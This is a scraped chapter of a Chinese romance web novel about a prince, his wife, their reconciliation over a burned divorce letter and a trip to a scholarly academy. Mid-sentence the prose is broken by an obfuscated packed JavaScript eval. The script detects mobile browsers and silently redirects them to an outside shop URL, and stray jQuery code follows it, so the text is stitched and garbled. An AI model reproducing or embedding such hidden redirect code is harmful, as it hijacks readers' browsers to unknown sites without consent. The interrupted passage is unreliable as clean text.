文趣网 > 其他小说 > 王爷只想被垂爱 > 35. 第 35 章
    受困天牢时,自伏怀青接到信的同时,他便知晓师照玉定然见到了放妻书。

    那一刻,他望着手中署名的信,忽地犹豫着不敢打开。

    四张重叠信纸被展开,信上并未提及放妻书一丝一毫,密密麻麻尽是她的叮嘱与惦念。

    她言道已向天牢递话,特意嘱咐众人多加照拂,还劝他务必顾惜身体,莫要硬撑;又言日夜忧心他的处境,定会竭力谋划,保他安然脱身;文末还絮絮说起府中琐事,字字句句像是二人久未相见,她将近日种种说与他知晓。

    后来相见,师照玉并未提起此事,伏怀青也默契地装作无事发生。

    直到那日檐下,师照玉半开玩笑地说要和离,又说得极为悲痛,他知道她是在算账。

    可伏怀青依旧不提此事,也不愿当真与她和离,最终主动道歉只期她能原谅,也算在她手中落下把柄。

    “你将它放到哪儿去了?”

    师照玉见他不答,追问:“怀青,怎么不说话?”

    伏怀青来到她身边,望着案面摆满的东西,云淡风轻道:“已经烧了。”

    “烧了?”师照玉看向他,“为何要烧?”

    伏怀青被问得停顿。他眉眼耷拉对上视线,睫羽微颤掩住情绪,却显出几分难言的无措与茫然,稍后问道:“照玉,你还是要与我和离吗?”

    他的表现出乎意料,师照玉罕见地不知如何作答,思前想后软了语调:“只是好奇遂来寻找,并非要和离。”

    见他神情不改,师照玉错开视线,一边将东西收拾归位,一边补充:“也好,烧就烧了吧。”

    伏怀青没有出声,只是帮着她一起收拾。

    抽斗重合,一切收拾妥当,两人并未在书房停留,一前一后离开屋内。

    路上,师照玉才迟迟想起方才未来得及说出口的话:“本以为怀青会忙得晚些,没想到这么快就回来了。”

    “徐春暖已然离京,我在城中再无旁事,便提早回府了。”伏怀青顺着她的步伐并肩而行,停顿一瞬,“不过也不算彻底清闲,沈少卿今日与我说起行刺一事,还说眼下已然有了眉目。”

    师照玉正要详细询问时,伏怀青又道:“除此之外还碰见了瑾归,他提及昨夜,恰逢沈少卿也在场,便一同闲聊几句。”

    他将今日之事逐一说来,师照玉细细听着,随后回答:“昨夜行至护城河确实碰见了淮先生、陶澈和沈少卿,不过未曾久留,主要是在凤鸣轩与阿春她们耽搁了些时辰。”

    伏怀青:“原是如此。”

    明明昨夜与他说过这些,为何再度提起?

    师照玉总觉得他话里有话,品了一会儿终于明白意思,却不解释,反倒去拉他的手,岔开话题:“怀青,我有些饿了,不若让膳房早些准备?”

    伏怀青顺从地握住她的手,轻声应下:“好。”

    晚膳时,师照玉指着桌上丰盛的菜肴,洋洋得意地邀功:“想来怀青今日劳累,我特意让厨下多做了几样你爱吃的,怎么样,看着可有胃口?”

    与师照玉热爱麻辣鲜香不同,伏怀青素来口味清淡,筷下多是清炒时蔬和鲜炖羹汤,少油少盐,瞧着就极为养生。

    伏怀青望着桌面大部分的清淡菜品,又看向角落处格格不入的两道重口菜:“夫人有心了。”

    师照玉觉得自己对这顿饭牺牲极大,但转念一想,清淡便清淡吧,也一并动筷尝了尝,结果发现……清淡的也爱吃,她纯纯就是贪吃。

    伏怀青本以为她会因菜品变化而食欲不佳,谁曾想吃起来跟往常没什么两样,胃口依旧好极了。

    待她羹汤将尽,伏怀青才开口说事:“听松书院新山长已然到任,书院不日便要重新开馆。我受邀前往讲学,府中近来无事,你若有意可随我同去。”

    先前书院前任山长离世,院中因诸事未定便闭馆数月。时至今日才传出消息,听松书院要重新开馆。

    听松书院由前朝文坛名宿联手兴建,至今已历数代。院内大儒云集,乃当世顶尖学府,亦是朝野内外名士心向往之的治学圣地。

    此处男女虽为分堂,但治学平等且同授经策,以儒家经典、史学典籍和时政策论等为主,摒弃传统女学旧例。

    可即便书院治学一视同仁,朝堂上每年能入仕履职的女子依旧寥寥无几。多数学有所成后还是嫁入家门,一身才学反成辅佐夫婿的傍身之技。更有人本就不耐学业的繁复枯燥,在学时常懈怠逃课。

    师照玉正小口品着最后几勺春笋鸡汤,闻声搁下汤勺望去,眼底流光闪动,尽显欢喜之色:“好啊,怀青若是动身前往,可一定要唤上我同去。”

    见她欣喜,伏怀青亦勾唇轻笑:“还以为照玉会拒绝。”

    “为何?”师照玉饮下最后一口汤。

    伏怀青回忆曾经:“往日我也曾在西堂授学,却从未见过照玉。”

    师照玉尴尬地用帕子擦嘴。

    原主昔日也在此处就学,偏偏一遇上伏怀青就频频逃课。他不似别的夫子那般苛责抓人,时日一久连他的容貌都未记住。

    现在看来,伏怀青知道她逃学一事,只是从未严查。

    师照玉很快想出借口:“今非昔比,人亦有变,在王府读了许多书,如今倒是觉着极为有趣。”

    随即抿唇轻笑,带着几分小得意:“况且阿春她们亦会赴学,若能结伴共读,那可太妙了!”

    神态灵动又俏皮,言语间透出难掩的欢喜,伏怀青的笑意也不自觉更深。

    “还有一事。”师照玉眉梢轻扬,歪着头,“早前与陶澈闲聊时提过听松书院的回春院,看她神情应是想去瞧瞧,我想着捎上她一起。”

    语调并非是征求应允,更像是与他知会一声。

    “书院特设回春院研习医理……亦有苏神医坐镇,她若愿去自是极好。”伏怀青停顿着看向她,片刻后提醒补充,“只怕是瑾归不会放人。”

    淮瑾归那般骄傲之人,若听闻门下弟子要与他人学医,定会气急败坏不愿放人。

    师照玉注意力被后半句吸引,并未意识到什么不对,回答着:“淮先生管不住陶澈。”

    回忆往日陶澈与淮瑾归的相处场景,两人只在研讨医道时才像是师徒,大多时候不顾身份地斗口打趣。

    “倒也是。”伏怀青依旧望着她。

    师照玉并未发现异常,最后与他确定:“那便说好咯!”

    伏怀青柔和笑答:“说好了。”

    事实证明,师照玉还是低估了早起上学的分量,不禁让她想到被学生时代支配的恐惧。

    听松书院位于京城

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616027|203451||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    西北郊外,众学子向来辰时中抵达书院,辰时末正式开讲授课,故而需得天不亮就起床梳洗。

    书院开馆第四日便邀请伏怀青入院讲学,伏怀青也如约唤醒师照玉,只是叫了好几次都没反应,稍微清醒后反而圈着他的脖子,赖皮地想继续睡去。

    最终还是无可奈何地起床,换衣梳洗时都闭着眼睛,上马车后困意半分未减,她便靠着伏怀青又沉沉睡去,连同一路颠簸都未曾感受。

    马车自城内驶出,不到半个时辰可抵达。人人皆乘马车出行,路上车流密集。

    师照玉是被车轮碾过青石的声响所吵醒,醒来时并非坐靠,而是趴在伏怀青的腿上,背后还覆着披风,许是怕披风掉落,他一只手搭在她的腰间。

    双臂被压得发麻,师照玉坐直身子,余光见他轻轻挪动腿位。

    “腿麻了?”师照玉并愧疚,反倒抬起两只手展示,笑道,“我的手也麻了。”

    挂在肩头的披风渐要滑落,伏怀青伸手替她拉好:“醒得刚好,再过会儿就到书院了。”

    清凉的晨风从车帘钻入,师照玉打了哈欠,又伸个懒腰,这才全然清醒。

    听松书院坐落于松山东麓,一条青石官道直通书院山门,尽头是一座刻着院名的古朴石坊,往后朱门青阶,门前是专供车马停驻的宽敞空地。

    周围人声鼎沸,各家学子接连下车。有人眼神清亮且神采奕奕,亦有大半眉眼惺忪,耷拉着头。

    万长鸾和梅若鸿便是后者,两人欲哭无泪地互相搀扶,朝着院门一步一步地挪动。反观慕同春倒是精神抖擞。

    梅若鸿有气无力道:“这才第四日,我怎觉着过去数月了?”

    万长鸾装出一副委屈唏嘘的模样:“真羡慕照玉啊,成了亲便不必再来课业受苦了。”

    “是吗?”

    熟悉的声音自身后响起,万长鸾和梅若鸿顿时一滞,不可思议地回头望去,只见当真是师照玉。

    梅若鸿:“阿照?当真是你!你怎地来了?”

    万长鸾:“原来成婚后也是要上学的吗……那我倒也不必了。”

    慕同春今日戴了先前在润玉阁买的玉镯,回头看见师照玉,再见身后的伏怀青,当即明白原由。她本就知晓珩王会是今日的客座先生,只是不知师照玉会一同来此。

    慕同春再往后一看,发现随行的侍女除了青刃和红刃,还多个生面孔。

    陶澈是首次来此,正好奇地张望四处,时而拉着青刃和红刃问话,并未注意到慕同春在观察她。

    周围赶路的学子听见动静纷纷朝这边看来。

    瞧见伏怀青时,依着家中长辈近日叮嘱,不情不愿地朝他行礼。倒也有人本就敬重珩王,毕恭毕敬地唤他一声“伏先生”。

    视线一转又见师照玉,众人神色大变,揉了揉眼再次确认,发现当真是她后撒腿就跑,生怕师照玉撵上来找麻烦。

    见此情景,师照玉不禁想起原主以前在书院作威作福的样子,加之青刃和红刃形影不离,满院学子没人敢惹,就连许多师长都忌惮她。

    两人颔首示意。伏怀青先行步入书院,途遇其他师长闲谈几句,自正中主甬道而去;师照玉与三位姐妹一同穿过石坊,行右侧通路去往西院女堂。

    四人如往日那般结伴而行